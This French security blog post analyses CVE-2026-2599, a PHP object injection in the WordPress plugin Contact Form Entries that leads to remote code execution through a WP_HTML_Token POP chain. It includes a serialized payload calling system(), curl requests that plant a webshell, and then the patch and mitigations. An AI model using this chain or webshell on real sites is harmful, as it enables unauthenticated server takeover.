Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

CVE-2026-2599 : injection d'objets PHP menant à une RCE sur WordPress

Analyse technique de la CVE-2026-2599, une vulnérabilité critique d'injection d'objets PHP non authentifiée (CVSS 9,8) dans l'extension WordPress « Contact Form Entries » (≤ 1.4.7). La fonction download_csv désérialise des entrées utilisateur non fiables sans restriction allowed_classes. Combinée avec WordPress 6.4.0-6.4.1, la classe native WP_HTML_Token fournit une chaîne POP entièrement publique menant à une exécution de code à distance (RCE) complète via deux requêtes HTTP non authentifiées.

Exploit CVE-2026-2599

Injection d'objets PHP non authentifiée → chaîne POP WP_HTML_Token

12 mars 2026 · CVSS 9,8 Critique · Contact Form Entries ≤ 1.4.7 + WordPress 6.4.0-6.4.1

Identifiant CVE CVSS Affecté Corrigé
CVE-2026-2599 9,8 Critique CF Entries ≤ 1.4.7 + WP 6.4.0-6.4.1 Extension 1.4.8 / WP 6.4.2+

C'est ici que les choses deviennent dangereuses. L'extension fait aveuglément confiance aux entrées utilisateur à chaque étape. Il n'y a aucune vérification d'authentification sur le point d'entrée, aucune restriction de classe lors de la désérialisation, et les erreurs sont silencieusement supprimées. Voici une analyse détaillée montrant comment un attaquant peut entrer par la grande porte, injecter un objet sérialisé malveillant et laisser PHP faire le reste.

Résumé de la CVE-2026-2599 : injection d'objets PHP non authentifiée

La CVE-2026-2599 est une vulnérabilité d'injection d'objets PHP non authentifiée dans l'extension « Database for Contact Form 7, WPforms, Elementor forms » (slug : contact-form-entries), affectant toutes les versions jusqu'à la version 1.4.7 incluse.

La vulnérabilité réside dans la fonction download_csv, qui désérialise des entrées utilisateur non fiables sans restriction allowed_classes. L'extension ne contient aucune chaîne POP exploitable par elle-même. Cependant, combinée avec WordPress 6.4.0 ou 6.4.1, la classe native WP_HTML_Token fournit une chaîne complète :

  • Propriétés entièrement publiques — aucune sérialisation d'octet NUL requise
  • Aucune protection __wakeup (ajoutée uniquement dans WP 6.4.2)
  • __destruct dangereux appelant call_user_func($this->on_destroy, $this->bookmark_name)
Impact : exécution de code à distance complète via 2 requêtes HTTP non authentifiées : (1) soumission du payload sérialisé via Contact Form 7, (2) déclenchement de l'export CSV pour le désérialiser et l'exécuter. Zéro authentification requise à chaque étape.

Analyse de la vulnérabilité : désérialisation non authentifiée

Point d'entrée — aucune authentification requise

Le déclencheur de la vulnérabilité se trouve dans contact-form-entries.php aux lignes 76-89 :

public function init() {
    if (!empty($_GET['vx_crm_form_action']) &&
            $_GET['vx_crm_form_action'] == "download_csv") {
        $form_id = !empty($_GET['vx_form_id']) ? $_GET['vx_form_id'] : "";
        $data    = !empty($_GET['data'])        ? $_GET['data']        : "";
        $key     = !empty($_GET['vx_crm_key'])  ? $_GET['vx_crm_key']  : "";
        self::download_csv($form_id, $data, $key);
        die();
    }
}

Aucune vérification d'authentification. N'importe quel attaquant non authentifié peut déclencher cela avec une simple requête GET :

GET /?vx_crm_form_action=download_csv&vx_crm_key=<EXPORT_KEY>

La clé d'export est un hachage SHA1 de 44 caractères stocké dans les options de WordPress. Elle peut être obtenue par force brute, divulgation d'informations ou fuite dans un fichier de sauvegarde ou dans le code JavaScript côté client.

Le sink — désérialisation non sécurisée

La fonction download_csv récupère les entrées de formulaire et les désérialise à la ligne 3017 :

$val = maybe_unserialize($row[$field['name'].'_field']);

maybe_unserialize() encapsule la fonction unserialize() de PHP sans aucune restriction allowed_classes :

function maybe_unserialize($data) {
    if (is_serialized($data))
        return @unserialize($data);  // no allowed_classes parameter
    return $data;
}

L'opérateur @ supprime les erreurs. N'importe quel objet PHP disponible dans l'autoloader peut être injecté.

Flux d'exécution du code

HTTP GET /?vx_crm_form_action=download_csv
    |
init() -- no auth check
    |
download_csv($form_id, $data, $key)
    |
SQL query fetches user-submitted form data
    |
maybe_unserialize($row['message_field'])  -- line 3017
    |
PHP object instantiated from attacker-controlled string
    |
__destruct() fires during cleanup
    |
RCE

Obstacle à l'exploitation : filtre d'octets NUL wp_kses_no_null()

Le sink de désérialisation existe bien, mais un obstacle majeur entrave l'exploitation via HTTP pur : wp_kses_no_null().

Avant qu'une soumission de formulaire ne soit stockée, WordPress la fait passer par wp_kses_no_null() :

function wp_kses_no_null($string, $options = null) {
    $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $string);
    $string = preg_replace('/\\\\+0+/', '', $string);
    return $string;
}

PHP sérialise les propriétés privées et protégées avec des marqueurs d'octets NUL :

// Public property
s:4:"name";s:5:"value";

// Private property (NUL bytes required)
s:14:"\0ClassName\0name";s:5:"value";
      ^^^^
        stripped by wp_kses_no_null()

Exemple concret : GuzzleHttp\Cookie\FileCookieJar possède une chaîne __destruct menant à file_put_contents(), mais toutes ses propriétés sont privées. La soumission HTTP supprime les octets NUL, le payload devient malformé et l'exploit échoue.

Toutes les tentatives d'encodage ont été testées et supprimées : octets NUL bruts (\x00), échappement PHP (\0), antislashs multiples (\\0, \\\0), encodage d'URL (%00) et format PHP S: — aucun ne survit à wp_kses_no_null().

Conclusion : l'exploitation nécessite une chaîne POP entièrement publique où aucune propriété privée ou protégée n'apparaît dans le payload sérialisé.

Chemin d'exploitation de la CVE-2026-2599

L'exploitation nécessite une chaîne POP où chaque propriété est publique — aucun octet NUL dans la sérialisation.

Plus de 15 extensions WordPress populaires ont été analysées à la recherche de chaînes POP entièrement publiques exploitables :

Extension Méthodes __destruct Méthodes __toString Exploitable ?
UpdraftPlus 8 4 Propriétés privées
BackWPup 12 3 Aucun sink dangereux
Yoast SEO 6 7 Les vérifications de type bloquent l'injection
Wordfence 5 2 Aucun sink de fichier/commande
Duplicator 9 3 Propriétés privées
WooCommerce 18 11 Propriétés privées + protections
Elementor 14 8 Aucune chaîne exploitable
All-in-One WP Migration 7 4 Propriétés privées
WP Mail SMTP 4 2 Aucun sink
Ninja Forms 5 3 Aucun sink
Redux Framework 6 5 Sécurité de typage

PHPGGC (PHP Generic Gadget Chains) a également été analysé. Toutes les chaînes spécifiques à WordPress étaient corrigées ou protégées : WordPress/P1 (corrigée dans WP 5.5.2), WordPress/P2 (__wakeup ajouté), WordPress/P3 (__wakeup ajouté dans WP 6.4.2). La chaîne de phpseclib v2 utilise des propriétés var dans le style de PHP 4 (publiques en PHP 5+) et cible un sink eval(), mais la vérification stricte des types de feof() en PHP 8.3 plante avant que le sink ne soit atteint.

Résultat : aucune extension existante sur WordPress 6.9.1 / PHP 8.3 ne fournit de chaîne POP entièrement publique fonctionnelle — à l'exception de WP_HTML_Token dans WordPress 6.4.0-6.4.1.

La percée : WP_HTML_Token (WordPress 6.4.0-6.4.1)

WordPress 6.4.0 a introduit WP_HTML_Token dans wp-includes/html-api/class-wp-html-token.php :

class WP_HTML_Token {
    public $bookmark_name;
    public $node_name;
    public $has_self_closing_flag;
    public $on_destroy;

    public function __destruct() {
        if (isset($this->on_destroy)) {
            call_user_func($this->on_destroy, $this->bookmark_name);
        }
    }
}

Pourquoi cette chaîne est parfaite : les 4 propriétés sont publiques (zéro octet NUL dans la sérialisation), aucun __wakeup dans WP 6.4.0-6.4.1, __destruct appelle une fonction PHP arbitraire avec un argument contrôlé par l'attaquant, et elle est disponible par défaut sans nécessiter d'extension supplémentaire.

Payload de l'exploit :

O:13:"WP_HTML_Token":4:{
    s:13:"bookmark_name";s:2:"id";
    s:9:"node_name";s:3:"DIV";
    s:21:"has_self_closing_flag";b:0;
    s:10:"on_destroy";s:6:"system";
}

// When destroyed:
call_user_func("system", "id");  // executes OS command

Preuve de concept pour la CVE-2026-2599 : exécution de code à distance complète

Afin de prouver que cette vulnérabilité ne relève pas d'un simple risque théorique, nous avons développé un exploit fonctionnel complet de zéro dans un laboratoire contrôlé. Le résultat est saisissant : deux simples requêtes HTTP, envoyées sans aucune connexion ni identifiant, suffisent à prendre le contrôle total d'un site WordPress vulnérable. Nous injectons un objet WP_HTML_Token forgé via une soumission normale dans Contact Form 7, puis nous déclenchons sa désérialisation en interrogeant le point de terminaison d'exportation CSV. À partir de là, PHP fait le gros du travail à notre place. Le ramasse-miettes (garbage collector) se met en route, __destruct() se déclenche, system() exécute notre commande et un webshell est silencieusement déposé sur le serveur. L'ensemble de l'opération prend moins de trois secondes.

Configuration du laboratoire

version: '3'
services:
  wordpress:
    image: wordpress:6.4.1-php8.1-apache
    ports:
      - "8081:80"
    environment:
      WORDPRESS_DB_HOST: wp_db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
  wp_db:
    image: mariadb:10.11
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

Configuration de l'extension

Installez Contact Form 7 v5.8.4 et Contact Form Entries v1.4.7. Configurez CF Entries pour suivre les soumissions de CF7 via des mises à jour directes des options en base de données :

-- Set up form ID mapping
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";s:44:"12345abc678def901234567890abcdef1234567890ab";}'
WHERE option_name = 'vx_crm_forms_ids';

-- Register form metadata
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";a:1:{s:2:"id";s:1:"5";}}'
WHERE option_name = 'vxcf_all_forms';

Étape 1 : soumettre le payload via CF7 (sans authentification)

Le payload écrit un webshell dans /var/www/html/pwned.php. Le contenu du webshell (<?php system($_GET['c']); ?>) est encodé en base64 pour survivre au transport HTTP.

echo -n 'O:13:"WP_HTML_Token":4:{...full payload...}' > /tmp/payload.txt

curl -X POST 'http://target:8081/?rest_route=/contact-form-7/v1/contact-forms/5/feedback' \
  -F '_wpcf7=5' \
  -F '_wpcf7_version=5.8.4' \
  -F '_wpcf7_unit_tag=wpcf7-f5-o1' \
  -F 'message=</tmp/payload.txt'

{"contact_form_id":5,"status":"mail_failed","message":"There was an error..."}

Le statut mail_failed est attendu — le payload est malgré tout stocké dans la base de données.

Étape 2 : déclencher l'exportation CSV (désérialisation)

Séquence d'exécution : l'extension interroge la base de données, récupère le WP_HTML_Token sérialisé depuis la colonne message_field et appelle maybe_unserialize() à la ligne 3017. PHP instancie l'objet, renseigne les 4 propriétés, puis rencontre une TypeError à la ligne 3089 lorsque mb_substr() reçoit un objet au lieu d'une chaîne de caractères. Pendant le nettoyage, __destruct() se déclenche et exécute call_user_func("system", "echo PD9... | base64 -d > pwned.php"), écrivant silencieusement le webshell sur le disque. La réponse d'erreur fatale est un leurre — la RCE a déjà été exécutée avant son affichage.

Étape 3 : vérifier la RCE

curl 'http://target:8081/pwned.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl 'http://target:8081/pwned.php?c=uname+-a'
# Linux abc123 6.1.0-18-amd64 ... GNU/Linux
Exécution de commandes complète obtenue — zéro authentification requise à chaque étape. Deux requêtes HTTP. En moins de 3 secondes. Aucun identifiant. Aucune interaction utilisateur.

Comment corriger la CVE-2026-2599

Analyse du code corrigé

WordPress 6.4.2 a ajouté un unique mécanisme d'arrêt d'urgence (kill switch) à WP_HTML_Token :

// BEFORE (vulnerable): no __wakeup — deserialization completes, __destruct fires
public function __destruct() {
    if (isset($this->on_destroy)) {
        call_user_func($this->on_destroy, $this->bookmark_name);
    }
}

// AFTER (fixed): __wakeup throws immediately, object is destroyed before __destruct
public function __wakeup() {
    throw new LogicException('WP_HTML_Token should never be unserialized');
}

Règle de PHP : si __wakeup() lève une exception, l'objet est détruit immédiatement et __destruct() ne se déclenche jamais. Cela élimine l'intégralité de la chaîne POP. Cette modification a été ajoutée spécifiquement en réponse à ce vecteur d'attaque.

L'extension Contact Form Entries 1.4.8 corrige indépendamment le sink de désérialisation en transmettant une restriction allowed_classes à unserialize(), ce qui empêche toute injection d'objets quelle que soit la version de WordPress :

// AFTER (fixed): restrict deserialization to scalar types only
return @unserialize($data, ['allowed_classes' => false]);

Atténuation et bonnes pratiques pour la CVE-2026-2599

  • Mettre à jour immédiatement : mettez à niveau Contact Form Entries vers la version 1.4.8 ou supérieure, et assurez-vous que WordPress est en version 6.4.2+. Chacun de ces correctifs suffit à lui seul pour briser la chaîne d'exploitation.
  • Restreindre unserialize() : passez toujours ['allowed_classes' => false] ou une liste d'autorisation explicite lors de la désérialisation de données contrôlées par l'utilisateur.
  • Valider les entrées de désérialisation : ne désérialisez jamais des données provenant de points de terminaison HTTP exposés aux utilisateurs sans restrictions strictes de types et de classes.
  • Règles WAF : déployez des règles qui détectent la syntaxe de sérialisation PHP (O:<digits>:) dans les champs de soumission de formulaire.
  • Surveiller les mises à jour des extensions : les extensions très installées comme Contact Form Entries sont des cibles de choix. Abonnez-vous aux avis de sécurité de Wordfence ou de WPScan pour vos extensions actives.

Références

Ressource Lien
Avis de sécurité Wordfence https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-entries/cve-2026-2599
Extension Contact Form Entries https://wordpress.org/plugins/contact-form-entries/
PHPGGC (PHP Generic Gadget Chains) https://github.com/ambionics/phpggc